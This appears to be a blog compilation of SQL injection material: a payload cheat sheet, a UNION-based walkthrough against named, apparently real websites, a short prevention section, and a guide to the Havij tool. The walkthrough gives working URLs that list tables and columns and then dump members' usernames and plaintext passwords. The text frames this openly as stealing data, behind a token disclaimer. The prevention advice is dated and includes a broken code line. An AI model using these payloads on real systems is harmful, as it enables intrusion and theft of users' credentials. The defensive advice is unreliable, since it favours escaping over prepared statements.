sql injection attack

This summary is not available. Please click here to view the post.

sql injection cheat sheet

'or''='

1 OR 1=1

1' OR '1'='1

' or 1=1 or ''='

' or '1'='1

' or 'x'='x

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

'or'1=1'

sql injection tutorial with examples

SQL INJECTION:
SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user
input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.
It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.


Imagine that you found this site:

http://www.guitarists.net/



Now 1st of all we need to Find the url like this to test sql injection.

id=xyz



Okay suppose we are going with this url

http://www.guitarists.net/links/list.php?id=253



To test the file that has the variable list.php id badly planned, and if we fit in a simple, 'and give us an error identical to that

http://www.guitarists.net/links/list.php?id=253



'



Error:

Quote:
Fatal error: Call to undefined method DB_Error::numRows() in /home/gnet/public_html/links/list.php on line 57


Now we will explore it.


The First Step of all, and find out how many columns have, as we get the correct column, we'll see something different


Code:
Code:
-1+union+select+



This is the basic syntax for this example of attack, but of course you can be
done differently, but I find this easier to start.

Keep Adding Numbers to guess the Correct colunms like this

http://www.guitarists.net/links/list.php?id=-1+union+select+0-- No results
http://www.guitarists.net/links/list.php?id=-1+union+select+0,1-- No results
http://www.guitarists.net/links/list.php?id=-1+union+select+0,1,2-- No results
http://www.guitarists.net/links/list.php?id=-1+union+select+0,1,2,3-- No results
http://www.guitarists.net/links/list.php?id=-1+union+select+0,1,2,3,4-- [(:]



Beat the SQL error here, here and found that the web, has 4 columns!

Also appears to us the number 1, that is, we know that the column 1 are vulnerable, and it is through them that we are going for a steal information
So now we know, we have 4 columns and column 1 is vulnerable, we will use.

Information_Schema.Tables

table_name & information_schema.tables--



It helps us to Find the table names. Now our Link Would be Like This

http://www.guitarists.net/links/list.php?id=-1+union+select+0,table_name,2,3,4+from+information_schema.tables--



Replacing the vulnerable column 1 in the string table_name.


Note: Here you can see all table, but not always that happens in certain websites, so we can see one by one, and for this you use the term +limit+*,1--

Like:

http://www.henleystandard.co.uk/news/news.php?id=-1+union+select+1,2,3,4,5,6,table_name,8,9,10+from+information_schema.tables+limit+0,1--
...



Well continuing with our web ...

http://www.guitarists.net/links/list.php?id=-1+union+select+0,table_name,2,3,4+from+information_schema.tables--



As we can see there are a lot of tables, but have doubt, is the table members! because we have to stole data from members. admin, administrators etc.

As we can see there is no table like Administrator or admin so now we will try to Explore members and check it What info it has
Now we need to see the columns that the table has for so we used the syntax.

column_name &
information_schema.columns



And our url will be like this.

http://www.guitarists.net/links/list.php?id=-1+union+select+0,column_name,2,3,4+from+information_schema.columns+where+table_name=char(109,101,109,98,101,114,115)--



Don't confuse going to Explain it now :-j

+where ---> Where?
+table_name= ---> Name of Table?
char() ---> Name of Table in ASCII


e.g:

Code:

Code:
m = 109
e = 101
m = 109
b = 98
e = 101
r = 114
s = 115



Google it "Table in ASCII" you will get the whole table.

Well, now let's find out what we see in

http://www.guitarists.net/links/list.php?id=-1+union+select+0,column_name,2,3,4+from+information_schema.columns+where+table_name=char(109,101,109,98,101,114,115)--



w0w we succeeded to grab the required info.

Cheers!!

Well, what interests us and the column

Login and password that it is ..

Well, now we make the final injection, the data to steal login and password

The injection is made of the following way ..

To see Login:

http://www.guitarists.net/links/list.php?id=-1+union+select+0,strUsername,2,3,4+from+members--



To see Passwords:

http://www.guitarists.net/links/list.php?id=-1+union+select+0,strPassword,2,3,4+from+members--



There is a much simpler method, which is to see everything
at the same time using the syntax.

concat( )



well, concat serves to unite all at once, then our url would be like this:

http://www.guitarists.net/links/list.php?id=-1+union+select+0,concat(strUsername,0x3a,strPassword),2,3,4+from+members--



Quote
0x3a -> Hexadecimal code, used to insert : between one and another, not to be confused


All Passwords are in text-plain not in hash!

Hope this tutorial helps you to learn sql injection. And to understand different techniques related to sql injection.

This Tutorial is Written for Educational purpose, I am not responsible if anyone use it for illegal purpose.

What is a sql injection

What is SQL Injection?
SQL Injection - \S-Q-L-in-'jek-shen\ - Noun
The technique of inputting malicious data into an SQL statement, which would therefore make the vulnerability present on the database layer.

What It Looks Like?
The vast majority of all SQL injections will take place on an input form.
The most basic of all SQL injections will look like the following:

The Basic SQL injection is :


Quote:
Variable' or 1=1--


Let’s say we have a login form. By inputting the above code, we can use our SQL injection to gain login even without proper credentials!

How’s it work?
Take a look..


Code:
SELECT * FROM users WHERE username = 'Variable' or 1=1--'



See how our code is nicely injected into the query? The result of this query will grant us access regardless of the username, since the result of “1=1? will always be true. In this case, we bypass the whole selection process.

You may have been wondering what the double dashes are for ( — ). These dashes at the end tell the SQL server to ignore the rest of the query. If the exploit isn’t being used on an SQL server, then omitting the double dashes and ending single quote will get the desired results.

Note that while this is the most standard way, it certainly isn’t the only way that malicious users will gain entry. SQL queries will differ greatly from one syntax to another.
It’s also common to see the following:


Code:
') or ('1'='1
"or "1"="1
' or '1'='1
Or 1=1--
" or 1=1--
' or 1=1--



SQL Injection: Attacking Via URLs
As we know it is possible to attack an SQL server through URL and usually much more dangerous to webmasters.
When using PHP and SQL, there is commonly a URL such as the following:


Code:
http://YourWebsite.com/page.php?id=2



By adding a little SQL to the end of the URL, we can attack on SQL server..

I think this is enough, Now Let’s finally find out how to secure your website from SQL injection.


SQL Injection Prevention: Editing Lengths Of Form Components
The first step in the process is simple: simply restrict input fields to the absolute minimum- usually anywhere from 7-12 characters is fine. Doing so will make long queries unable to be input, since the field is only enough characters for smaller queries. This will actually not prevent an SQL injection, but will make work harder for those trying to make use of one.

Note :SQL injection users can simply make a new form and remove the limits on the character length, since the length is in plain HTML and viewable (and editable) by anyone.

SQL Injection Prevention: Data Type Validation
Another good idea is to validate any data once it is received. If a user had to input an age, make sure the input is an actual number. If it was a date, make sure the date is in proper format. Again, this will not prevent an SQL injection in itself- it just makes work harder for those trying to exploit an SQL server.

Note: This is still only slowing attackers down- but isn’t it much more satisfying to have them waste their time before finding out one’s own query is impervious to harm?

SQL Injection Prevention: The Solution In Preventing SQL Attacks
We’ll accomplish this with a simple function that the developers of PHP made especially for SQL injections. We call this function mysql_real_escape_string() - take a look at it below:

Code:
$name = "John";
$name = mysql_real_escape_string($name);
$SQL = "SELECT * FROM users WHERE username = '$name'";



Although for a more practical use, we would have the $name variable pointed to a POST result, as seen below:

Code:
$name = mysql_real_escape_string($_POST['user']);



And we can even make things easier by putting it into one line:

Code:
$SQL = "SELECT * FROM users where username = "mysql_real_escape_string($POST['user']);



So what’s the output like if malicious users try to get access to our SQL server?
Their attempts may look something like this:


Code:
$malcious_input = "' OR 1'";
// The Above Is The Malicious Input. Don't Be Scared!
// With The mysql_real_escape_string() usage, the following is obtained:

\' OR 1\'
// Notice how the slashes escape the quotes! Now users can't enter malicious data



And the best part is, they just wasted their time and effort for nothing.

Lastly, note that there are libraries and classes that can help aid in the fight against SQL injection. Prepared statements are plausible as well, but as for us, we enjoy sticking to the mysql_real_escape_string() function for less headaches.

Hacking website with SQL Injection

First of all you need to know about sql. sql stands for structured query language. Now like every language it has some keywords such as SELECT,FROM,WHERE etc. Than how these keywords work, suppose there is a database which contain tables of user's profile. This table has table name,fields,unique key etc. If we write the following code
query =  SELECT * FROM user_data WHERE user_id = + geturlParameter("userid")
this code means select all details from user_data table where unique id is which is taken from URL parameter.
From above reading we have little bit knowledge of how SQL works so we can now move further.

Injection 
Injection flaws such as SQL,OS, and LDAP injection, occur when untrusted data is sent to an interpreter as a part of command query. The attacker's hostile data can trick the interpreter for executing or accessing unauthorized data.
This injected data could be anything, however usually and commonly these attack uses any part of application that is passed on user-supplied data or poorly processed data to sql database.
sql injection attacks are not the sole target of injection attacks, other interpreter such as LDAP, XPath etc can also be exposed in same way.

How sql injection works
Imagine a web application that uses a database query supplied by user such a scenario is very common in fact it is the basis of dynamic website. Here suppose that your id is 32. So if you were looking at your own profile page on website, in the back end it would be constructing query such as:

SELECT * FROM user_data WHERE user_id = + geturlParameter("userid")

One might expect the below URL to get input parameter[geturlParameter("userid")] by user:

http://www.somesite.com/profile.php?userid=32

Now depending on how the query is constructed it may or may not be susceptible to injection. Of course we will examine case where it is.
Here if we were to add sql code to the parameter "userid" in the request url, we could execute the website to that code. For example here we could do something like

http://www.somesite.com/profile.php?uderid=32;DROP important_table

DROP keyword means deleting in sql. Here in example DROP important_table means deleting table named important_table. With this small vulnerability whole database is lost.
So through this method you can change,update,extract data and many more on database can be executed.

How sql injection can be useful in hacking
In dynamic websites, database is created using MysSQl, where userid and passwords for particular user is stored in database and can be tricked using injecting sql commands.
For this you don't have to learn sql there are many software which can do this for you, some of which are Havij, Acunetix etc.
For checking vulnerability of your website Acunetix can be useful for you but for hacking passwords for vulnerable website use havij.

Hacking Website with havij
Havij

For sql injection, website url should be in below format so that havij can inject sql commands

http://www.target.com/index.asp?id=123 

Search for url and paste it in the field Target: and than click analyse button.

 After process of analysing target is complete, click on Tables button

 Than after checking the given keyword by clicking on it press Get Tables

 Now search for appropriate table name that should contain password such as its name can be login, admin etc.
After finding this table, check the box for that table and press Get Columns. This will show you all columns present in that table. As for example login table in selected in below given image.

 Here again search for appropriate column name that should contain password and check it. Now press Get Data and on right side you will get data for your selected fields. In below image user_id and user_password is selected and on the right we got the password and id.